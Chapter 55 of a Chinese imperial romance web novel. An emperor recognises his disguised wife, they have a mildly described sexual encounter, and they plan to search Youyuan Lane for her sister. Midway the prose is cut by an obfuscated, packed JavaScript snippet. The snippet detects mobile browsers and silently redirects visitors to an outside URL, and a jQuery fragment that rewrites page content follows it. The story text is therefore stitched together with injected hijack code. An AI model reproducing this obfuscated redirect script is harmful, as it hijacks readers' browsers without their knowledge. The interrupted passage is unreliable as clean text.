55. 乔装
作品:《色令君昏》 萧沐阳目光流连在陆栖梧身上,自下而上地打量着她,最后落在她清冷的眸子上。
“奴婢但凭陛下差遣。”陆栖梧煞有其事地恭敬跪在地上行礼。
萧沐阳冷哼一声,自软榻上起身弯腰凑近她的眸子,一把将她拽进怀里。
陆栖梧下意识闭眼,惊呼出声,再睁眼时已经落在他宽广的胸膛,他的大掌紧紧攥着她的腰,狭长的眸子幽幽地盯着她。
陆栖梧被盯得不自在,双手抵在他的胸膛想要起身,却教他猛地收力,又跌坐在她怀里。
他的声音磁性中带着喑哑诱惑:“不是但凭朕差遣吗?”
说着,眸光从她的眼睛下移,隔着薄纱似乎望向她的唇,他缓缓凑近,鼻尖隔着薄纱轻轻蹭着她的,带着挑逗:“朕要你伺候朕。”
陆栖梧此刻只听到他嗓音里浓重的沙哑,带着一丝忍耐,瞬间怒上心头,萧沐阳,说什么只有我?现在这般就按耐不住了,你个大骗子。
陆栖梧耐着性子将火气压下,再对上他含笑的眼眸,语气不急不缓:“奴家可是清白人家的姑娘,陛下是要把奴纳进宫里吗?”
他轻笑,额头轻轻抵着她的:“未尝不可。”
“那陛下想要给奴什么名分?是贵人?妃位?还是……”陆栖梧刻意拉长尾音,带着魅惑,“立奴为后?”
“随你。”他说这话时,带着一丝挑逗宠溺,陆栖梧常见,他的眼眸温柔的能让人溺死在里面,可她没想过,他对旁人也这般,如此廉价,不如不要。
却还是带着试探:“那陛下宫里那位呢?废了吗?”
“都由你。”他的手掌轻轻摩挲着,眼中带着一丝压抑的忍耐,耳根红透,陆栖梧同他怎么说也经历了许多,怎会不知他这幅饿狼表情是什么意思。
终于忍不下去,抵在他胸膛的手霎时变成拳头,一锤锤下去,他吃痛,闷哼出声,待陆栖梧再要动手时,他的大掌已经将她的拳头攥住:“陆栖梧,你要谋杀亲夫吗?”
陆栖梧更气了,扑腾着手:“那也比你在外沾花惹草的好,不如死了。”
爽朗的笑声自他唇中溢出:“朕就喜欢你这幅宁为玉碎不为瓦全的模样。”
“你还笑。”陆栖梧抬头瞪他。
“朕只是逗逗你,”骨节分明的大掌摘下她的面纱,他的眼盯着她的眸子,“我怎么会认不出自己的妻子。”
他的大掌轻轻触碰她眼角,抚上那抹红痣:“你这双眼睛,朕即便到奈何桥旁,饮尽孟婆汤,都不会忘。”
陆栖梧被他望得失神,随即反应过来:“你故意的。”
怪不得从进门起,她就一直觉得他的目光若有似无的打量着她,还以为是她的错觉,想来他一开始便将她认出来了,只不过不言语罢了。
“嗯,”他的唇中溢出一丝极喑哑的音符,眸子紧盯着她的红唇,忽而低头覆了上来,如饿狼扑食。
他的五官突然在眼前放大,陆栖梧猛地将他推开,什么都还没问清楚,这人就想着旁的,她可不能就此稀里糊涂地由着他。
他低头微微喘着粗气,目光还是盯着她的唇。
“你先说你来这做什么?”陆栖梧的红唇一张一合,还带着氤氲的水光,引得他呼吸更重。
“先别说这些。”他低头又覆上来。
却教陆栖梧侧头躲开:“不说清楚我不想理你。”
他无奈低头叹气,额头微微蹭着她的:“朕真是上辈子欠了你的。”
陆栖梧微微拉开距离:“彼此彼此,不也是你刻意让孟佑安放我来的吗?”
萧沐阳唇角微勾,漏出一丝得逞的笑,短短不到一个时辰,陆栖梧已经数不清他笑了多少次了,萧沐晞不是说他自小冷着个脸不爱笑吗?
陆栖梧轻咳了声:“别吊儿郎当的,你认真点,我是真的想知道。”
萧沐阳收了笑,眼睛却仍旧不肯在她红唇上移开,声音依旧低沉,带着一丝哑意:“朕来找你那个同侍卫私奔的妹妹……”
还未说完,陆栖梧眼已经瞬间红了,他有丝慌乱,随后又轻笑,食指轻轻在她额头上弹了一下:“想什么呢?她手中有陆世冠的把柄,你可别在心里冤枉朕。”
陆栖梧破涕为笑,有一丝被看穿的羞耻,不好意思地缩在他的颈窝:“谁说我多想了。”
温热的呼吸喷在他的耳后,他呼吸一滞,闭了闭眼,还是没忍住反手将她压在榻上:“陆栖梧。”
密密麻麻的吻覆上来,陆栖梧只觉得天昏地暗。
……
“都怪你,”陆栖梧望着自己被撕碎的侍女衣衫,刚刚开口抱怨了一句,却被自己喑哑的声音惊呆,闭了嘴,恨恨地瞪了眼萧沐阳,都怪他。
萧沐阳笑着将她搂在怀里:“朕让人帮你拿新的。”
陆栖梧更羞,转过身不敢瞧他,他轻笑,贴着她的耳边道:“我们都有两个孩子了,你怎么还是这么容易害羞。”
陆栖梧轻轻给了他一巴掌,没有力度,不像是责怪,落到他的眼里,倒像是撒娇,他笑着拥住她:“难道你不快活吗?”
陆栖梧又剜了他一眼,萧沐阳不敢再逗,轻轻拍着她的背哄:“朕很想你。”
“我也是。”陆栖梧难得的在他面前袒露心思,忽而又想起什么,“所以你早便知晓我来这了,怪不得清华不干涉我。”
萧沐阳依旧低笑:“你若不担心朕,怎么会心甘情愿而来。”
陆栖梧只感叹这人狐狸心思,真真是把她算计进去,还好他一心只为她,不敢想若是他算计她,她恐怕被吃得连骨头都不剩。
“那北州王到底有没有谋反之意?”陆栖梧忽而又想起来,从他臂弯里抬起头问道。
“没有。”萧沐阳也不拐弯抹角,怕她担心,痛快的将话撩出来,让她把心放进肚子里。
“你找到陆栖桐了吗?”陆栖梧又问,像个问不完问题的孩子。
“还没。”他的拇指轻轻摩挲着她的手背,将她的手握在手心里,轻轻抚摸。
陆栖梧疑惑看他:“那你还这么悠闲,不去找?”
“朗月去打听了。”他闭上眼,鼻尖轻轻蹭着她的,感受着她柔嫩鼻尖传来的触感,像小猫在心里一下一下的挠痒,令人心动。
“不问问我吗?说不定我知晓她在哪呢?”陆栖梧笑得狡黠。
萧沐阳缓缓睁开眼,挑眉望她,微微张着唇溢出一丝喘息。
“萧沐阳。”陆栖梧感受到他某处的变化,掐了他一把,“聊正事呢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991346|193721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他欺身而上:“你就是正事。”
陆栖梧实在无法拒绝,每次都沉沦在他的诱惑勾引中,不禁觉得自己没出息,如此迷恋萧沐阳的身子。
好在虽然萧沐阳动作不停,却也在她破碎的声音中听进去了线索,陆栖桐幼时曾掉过河里,险些溺死,所以自幼怕水,若她来北州,必定也会找一处不临河的住处。
而北州城四面环河,唯一不临河的,只有游园巷,那里鱼龙混杂,也不好抓人。
萧沐阳直接吩咐朗月:“将游园巷封了。”
陆栖梧拦住他:“你这样她就算死都不会交出证据,反而会引起百姓恐慌。”
萧沐阳点了点头,对朗月道:“你命人悄悄探查。”
陆栖梧眨了眨眼:“我从前在游园巷住过些时日,不若我再去乔装打扮待些时日。”
萧沐阳眸子微眯:“你去那作何了?”
那里鱼龙混杂,青楼酒肆皆有,还有南风馆,萧沐阳虽不了解,却也听闻过。
陆栖梧无奈扶额,现在是吃没来由的醋的时候吗,但见他皱着的眉头,还是耐着性子解释:“从前帮萧砚卿杀人的时候来过。”
他眸子中浓重的愁绪还是没有散开,陆栖梧轻轻拉了拉他的手:“哎呀,你也知道我从前是萧砚卿培养的杀手嘛。”
萧沐阳突然猛地将她紧拥在怀里:“在朕身边,没人可以逼迫你做你不愿意做的事。”
一旁的朗月清华哪里敢看,悄悄别开了眼。
陆栖梧这才明白,原来他不是拈酸吃醋,而是心疼她,他这摸样,倒像是他自己受委屈了。
陆栖梧轻轻拍他的背:“嗯,我在你身边从未做过不愿做的事。”
萧沐阳不让她去,她偏要去,笑着说服萧沐阳:“在那里的那段时日我很开心,街坊四邻都待我很好。”
萧沐阳拗不过她,只得由着她,不过却偏要跟着她:“你能乔装打扮,朕就不能了?”
陆栖梧将人上下打量一番,这大高个,还带着一副生人勿近的气势,哪个寻常百姓敢信他是个普通人,她本就够扎眼了,再带上他,恐怕十里八村忽视不了他们的存在。
不带着萧沐阳,萧沐阳便也不让她去,只得带着他,陆栖梧特意嘱咐他:“你少说话。”
小小的宅院锁着铜锁,三年前她在这买的,走的时候也没舍得卖,托街坊照料者,不过也未留下银钱,想来不会有人上心,陆栖梧买了把斧头将那门锁打落。
“你们是何人?”身后老妪声音突然响起。
陆栖梧转身,便见一花白头发的老婆婆端着竹筐:“何婆婆。”
老妪大喜过望:“是阿梧姑娘啊,你回来了。”
陆栖梧点点头,没想到三年过去了,何婆婆还记得她。
何婆婆热络地上前握住她的手:“你看你,把钥匙放我那了,怎么不找我来拿?还将这锁砸了。”
陆栖梧这才想起,好像是有这回事,不过她确实也一时没想起,客套地说:“回来得突然,怕打扰你。”
“瞧你,见外了不是?”何婆婆笑得慈祥,她一个人年纪大了,夫君死的早,也没有孩子,街坊四邻的孩子都当自己的照顾,“当日你走得急,说是投奔未婚夫婿,如今可成婚了?”

